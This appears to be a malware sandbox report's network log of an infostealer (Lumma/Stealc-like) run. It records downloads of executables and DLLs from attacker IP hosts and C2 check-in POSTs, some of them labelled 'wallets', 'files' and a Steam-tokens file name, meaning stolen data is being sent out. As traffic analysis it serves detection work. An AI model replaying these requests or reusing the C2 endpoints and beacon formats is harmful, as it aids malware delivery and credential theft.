Source: global traffic HTTP traffic detected: GET /inc/LummaC222222.exe HTTP/1.1Host: 185.215.113.117
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/nss3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/softokn3.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000314001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: GET /f1ddeb6592c03206/vcruntime140.dll HTTP/1.1Host: 185.215.113.17Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/newbundle2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDGCAEBFIIECAKFHIJEHost: 185.215.113.17Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 32 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000322001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDBAAAEHIEGCAKFHCGHost: 185.215.113.17Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 42 41 41 41 45 48 49 45 47 43 41 4b 46 48 43 47 2d 2d 0d 0a Data Ascii: ------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------JKJDBAAAEHIEGCAKFHCGContent-Disposition: form-data; name="message"wallets------JKJDBAAAEHIEGCAKFHCG--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGHDAKKJJJKJKECBGCGDHost: 185.215.113.17Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 48 44 41 4b 4b 4a 4a 4a 4b 4a 4b 45 43 42 47 43 47 44 2d 2d 0d 0a Data Ascii: ------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------CGHDAKKJJJKJKECBGCGDContent-Disposition: form-data; name="message"files------CGHDAKKJJJKJKECBGCGD--
Source: global traffic HTTP traffic detected: GET /inc/rstxdhuj.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKECBFBAEBKJJJJKFCGCHost: 185.215.113.17Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 43 42 46 42 41 45 42 4b 4a 4a 4a 4a 4b 46 43 47 43 2d 2d 0d 0a Data Ascii: ------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKECBFBAEBKJJJJKFCGCContent-Disposition: form-data; name="file"------AKECBFBAEBKJJJJKFCGC--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHJDHDAECBGCAKEBAEBAHost: 185.215.113.17Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 48 4a 44 48 44 41 45 43 42 47 43 41 4b 45 42 41 45 42 41 2d 2d 0d 0a Data Ascii: ------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------GHJDHDAECBGCAKEBAEBAContent-Disposition: form-data; name="message"ybncbhylepme------GHJDHDAECBGCAKEBAEBA--
Source: global traffic HTTP traffic detected: POST /2fb6c2cc8dce150a.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAKHost: 185.215.113.17Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 37 32 37 63 31 30 64 64 38 65 34 39 31 66 38 38 34 30 61 62 63 61 65 65 66 35 61 30 31 38 65 35 62 36 34 39 62 64 64 33 62 62 33 65 66 33 63 30 64 37 33 64 39 32 33 31 31 32 66 37 62 64 32 35 32 32 33 63 61 64 37 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"4727c10dd8e491f8840abcaeef5a018e5b649bdd3bb3ef3c0d73d923112f7bd25223cad7------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKECFIIEHCFHIECAFBAK--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000342001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET / HTTP/1.1Host: 91.202.233.158Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /inc/cccc2.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /e96ea2db21fa9a1b.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKJDHDBKEBGHJJJJKEHDHost: 91.202.233.158Content-Length: 214Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 46 39 45 32 46 37 32 32 41 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4a 44 48 44 42 4b 45 42 47 48 4a 4a 4a 4a 4b 45 48 44 2d 2d 0d 0a Data Ascii: ------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="hwid"EF9E2F722A951117388365------JKJDHDBKEBGHJJJJKEHDContent-Disposition: form-data; name="build"default------JKJDHDBKEBGHJJJJKEHD--
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 34 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000349001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 33 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000354001&unit=246122658369
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.103
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 37 43 33 44 46 33 39 43 32 30 32 39 34 34 33 31 37 36 39 45 44 39 36 38 45 38 33 46 43 42 37 42 36 37 35 30 44 36 43 37 41 43 42 32 32 30 37 32 34 39 42 38 43 43 38 32 43 30 34 38 46 42 44 36 36 32 35 39 35 38 36 46 30 46 32 31 45 41 37 34 38 36 39 41 43 35 38 39 38 33 42 35 32 34 45 43 41 46 46 31 36 41 37 44 43 45 41 46 34 41 37 38 30 33 38 43 39 30 39 31 35 30 32 31 43 30 37 38 34 44 37 31 44 39 44 30 34 33 31 32 31 43 43 46 36 35 44 37 38 38 35 37 43 Data Ascii: r=A7C3DF39C20294431769ED968E83FCB7B6750D6C7ACB2207249B8CC82C048FBD66259586F0F21EA74869AC58983B524ECAFF16A7DCEAF4A78038C90915021C0784D71D9D043121CCF65D78857C
Source: global traffic HTTP traffic detected: POST /Dem7kTu/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.26Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
